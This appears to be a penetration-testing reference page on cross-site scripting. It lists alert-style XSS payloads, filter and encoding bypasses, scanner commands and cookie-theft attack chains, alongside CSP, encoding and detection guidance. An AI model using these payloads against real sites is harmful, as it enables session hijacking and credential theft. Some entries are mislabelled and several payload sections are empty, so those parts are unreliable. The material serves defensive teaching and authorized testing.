Cross-Site Scripting (XSS) | Saikumar Infosec

🧠 Description

What is XSS?

Cross-Site Scripting (XSS) is a client-side code injection attack. The attacker aims to execute malicious scripts in the victim's web browser by injecting malicious code into a trusted website. XSS occurs when web applications take untrusted data and render it without proper validation or encoding.

XSS allows attackers to:

Steal session cookies and hijack user sessions
Deface websites or inject malicious content
Redirect users to malicious websites
Perform keylogging and form hijacking
Access sensitive information in the DOM
Deliver malware to users

XSS Types:

Reflected XSS: Malicious script is part of the request sent to the server and is reflected back
Stored XSS: Malicious script is permanently stored on the target server
DOM-based XSS: Vulnerability exists in client-side code rather than server-side
Blind XSS: XSS payload is stored and executed in a different part of the application

🏷️ Classification

Vulnerability Type: Client-Side Injection (CWE-79)
OWASP Category: A03:2021 - Injection
CAPEC:
- CAPEC-63: Cross-Site Scripting
- CAPEC-209: Cross-Site Scripting using Flash
- CAPEC-242: Cross-Site Scripting in Error Messages
XSS Subtypes: Reflected, Stored, DOM-based, Blind

🎯 Attack Surface

XSS can occur in various input points:

✅ Search Fields: Query parameters
✅ Comment Sections: Blog comments, forum posts
✅ User Profiles: Display names, bio fields
✅ URL Parameters: GET parameters reflected in page
✅ HTTP Headers: User-Agent, Referer
✅ File Names: Uploaded file names displayed
✅ Chat/Message Boards: User-submitted content
✅ Product Reviews: E-commerce reviews

⚠️ Preconditions

User Input: Application accepts user input and displays it without encoding
No Sanitization: Input is not sanitized or validated
No Output Encoding: Output is not properly encoded for HTML context
JavaScript Context: Input can break out of JavaScript strings

🔍 Detection

Manual Testing:

Inject basic payload: <script>alert(1)</script>
Test with image onerror: <img src=x onerror=alert(1)>
Test SVG: <svg onload=alert(1)>
Test event handlers: <body onload=alert(1)>

Automated Tools:

Burp Suite: Active/passive scanning
OWASP ZAP: Spider and scan
nuclei: XSS templates
XSStrike: Advanced XSS detection

🔧 Burp Suite Workflow

Browse target application normally
Review Proxy history for reflection points
Send reflected parameter to Repeater
Test with basic XSS payloads
Check if payload is reflected without encoding
Escalate to exploit - steal cookies, perform actions

# In Repeater, test:
GET /search?q= HTTP/1.1
Host: target.com

# If response contains the script tag unencoded - VULNERABLE

⚙️ Tool Automation

🔫 XSStrike

Advanced XSS detection and exploitation

🛡️ Burp Suite

Manual testing with Intruder

⚡ Nuclei

Template-based XSS scanning

🔍 Dalfox

Go-based XSS scanner

# XSStrike
python3 xsstrike.py -u "http://target.com/search?q=test"

# nuclei
nuclei -u "http://target.com" -t templates/xss.yaml

# dalfox
dalfox url "http://target.com/search?q=test"

💣 Basic Payloads

🧪 Detection Payloads

🔓 Event Handlers

📝 HTML Context Breakout

</script><script>alert(1)</script>

<img src=x alt="><script>alert(1)</script>

<div><script>alert(1)</script>

</title></style></script><script>alert(1)</script>

🚀 Advanced Payloads

🔥 DOM-based XSS

⚡ Polynomial/Polyglot

javascript:/*--><svg/onload=alert(1)-->

🎯 Filter Bypass

<scr\ ipt>alert(1)</scr\ ipt>

<scr\x00ipt>alert(1)</scr\x00ipt>

<SCR\ IPT>alert(1)</SCR\ IPT>

🤖 AI-Generated Payloads

Context-aware payloads for specific scenarios:

🔧 AngularJS Context

🔧 React/Mobile Context

🔧 Template Engines

{{7*7}} - Jinja2/Twig

${7*7} - ERB

<%= 7*7 %> - Rails

🎨 Context-Aware Payloads

📝 JavaScript String Context

';alert(1);//

";alert(1);//

'-alert(1)-'

"-alert(1)-"

🛡️ WAF Bypass

<body><script>alert(1)</script></body>

🗄️ Browser-Specific

Firefox: <svg><animate onbegin=alert(1) attributeName=x>

Chrome: <script>alert(1)</script>

Edge: <details open ontoggle=alert(1)>

📝 Proof of Concept

Vulnerable Code Example:

// PHP - Vulnerable code
$name = $_GET['name'];
echo "Welcome, " . $name;

// Attacker requests:
// http://target.com/welcome.php?name=

// Result: Script executes in user's browser, stealing cookies

Cookie Theft PoC:

// Payload to steal cookies


// When victim visits, their cookies are sent to attacker

📨 Request / Response

Attacker Request:

GET /search?q= HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0

Server Response (Vulnerable):

HTTP/1.1 200 OK
Content-Type: text/html



Search results for: 
...

💥 Impact Analysis

Severity: HIGH (CVSS 7.3)

Session Hijacking:

Steal session cookies
Session fixation attacks
Access user accounts

Credential Theft:

Keylogging user input
Phishing via injected forms
Credential harvesting

Malware Delivery:

Redirect to malicious sites
Drive-by downloads
Exploit kit delivery

⚡ Advanced Exploitation

1. Session Hijacking:

// Steal session


// Session fixation

2. Keylogging:

// Record keystrokes

3. Form Hijacking:

// Modify form action

4. DOM Modification:

// Modify page content

🔗 Attack Chains

Chain 1: XSS to Account Takeover

1 Find XSS in search parameter

2 Inject cookie-stealing payload

3 Wait for admin to visit

→ Steal admin session, access admin panel

Chain 2: Stored XSS to Defacement

1 Post comment with XSS payload

2 Payload stored in database

3 All users viewing page execute payload

→ Mass credential theft or defacement

✅ Test Cases

ID	Test Case	Payload	Expected
1	Basic Script Tag	`<script>alert(1)</script>`	Alert popup
2	Image Onerror	`<img src=x onerror=alert(1)>`	Alert popup
3	SVG Onload	`<svg onload=alert(1)>`	Alert popup
4	Event Handler	`<body onload=alert(1)>`	Alert popup
5	DOM-based	`<img src=x onerror=eval(atob(...))>`	Alert popup

🛡️ Mitigation

✅ Output Encoding: Encode all untrusted data based on the context (HTML, JavaScript, URL, CSS)

✅ Content Security Policy (CSP): Implement strict CSP headers to prevent inline script execution

✅ Input Validation: Validate and sanitize all user inputs

✅ HTTPOnly Cookies: Set HttpOnly flag on session cookies to prevent JavaScript access

🏰 Advanced Mitigation

1. Content Security Policy:

# Strict CSP Header
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-ancestors 'none'

# Allow specific sources
Content-Security-Policy: script-src 'self' https://trusted.cdn.com;

2. Output Encoding Libraries:

# Python - html.escape()
import html
safe_output = html.escape(user_input)

# JavaScript - DOMPurify
const clean = DOMPurify.sanitize(dirty);

3. Cookie Security:

# Set secure, HttpOnly, SameSite cookies
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Strict

📊 Monitoring & Detection

WAF Rules:

# Detect XSS patterns in requests
SecRule REQUEST_URI "@rx (

SIEM Detection:

Alert on script tags in user input
Monitor for event handlers (onclick, onerror, onload)
Detect javascript: protocol in parameters
Alert on unusual encoding patterns

🔐 Security Controls

Control	Implementation	Priority
Output Encoding	Context-aware encoding of all output	Critical
CSP	Strict Content Security Policy	High
Input Validation	Whitelist validation + sanitization	High
HTTPOnly Cookies	Set HttpOnly and Secure flags	High
SameSite Cookies	Set SameSite=Strict/Lax	Medium
X-XSS-Protection	Enable browser XSS filter	Low

🔓 Bypass Techniques

🛡️ Filter Bypass

<scr\x00ipt> - Null byte

<scr<script>ipt> - Recursive

<scrscriptipt> - Double tag

🎨 Encoding Bypass

%3Cscript%3E - URL encoding

\x3cscript\x3e - Hex encoding

Note: Use only in authorized testing engagements.

🛠️ Tools & Commands

🔫 XSStrike

xsstrike.py -u "http://target.com"

🛡️ Burp Suite

Intruder + Scanner

⚡ Dalfox

dalfox url "http://target.com"

🔍 DOM Invader

Burp DOM XSS scanner

📚 References

🔄 Retest Steps

Step	Action	Validation
1	Implement output encoding	Code review
2	Deploy CSP header	Test that inline scripts fail
3	Re-test with script tag	Script not executed
4	Re-test event handlers	Not executed
5	Verify cookies are HttpOnly	document.cookie empty

⚙️ Detection Logic

Static Analysis:

Scan for unescaped user input in HTML
Check for proper output encoding
Verify CSP headers
Check cookie flags

Dynamic Testing:

Fuzz all input points with XSS payloads
Test in different contexts
Verify CSP blocks execution

🔎 Threat-Hunting Notes

IOCs:

Script tags in web logs
Event handlers in parameters
javascript: protocol in URLs
Unusual encoding in logs
High volume of XSS attempts from single IP

🛡️ Defensive Detection Ideas

1. Browser-Based Detection:

Deploy CSP-report-uri to collect violations
Monitor for XSS in report-uri endpoints

2. RASP:

Runtime application self-protection
Detect and block XSS at runtime

🔴 Cross-Site Scripting (XSS)

🧠 Description

🏷️ Classification

🎯 Attack Surface

⚠️ Preconditions

🔍 Detection

🔧 Burp Suite Workflow

⚙️ Tool Automation

🔫 XSStrike

🛡️ Burp Suite

⚡ Nuclei

🔍 Dalfox

💣 Basic Payloads

🚀 Advanced Payloads

🤖 AI-Generated Payloads

🎨 Context-Aware Payloads

📝 Proof of Concept

📨 Request / Response

💥 Impact Analysis

⚡ Advanced Exploitation

🔗 Attack Chains

✅ Test Cases

🛡️ Mitigation

🏰 Advanced Mitigation

📊 Monitoring & Detection

🔐 Security Controls

🔓 Bypass Techniques

🛠️ Tools & Commands

🔫 XSStrike

🛡️ Burp Suite

⚡ Dalfox

🔍 DOM Invader

📚 References

🔄 Retest Steps

⚙️ Detection Logic

🔎 Threat-Hunting Notes

🛡️ Defensive Detection Ideas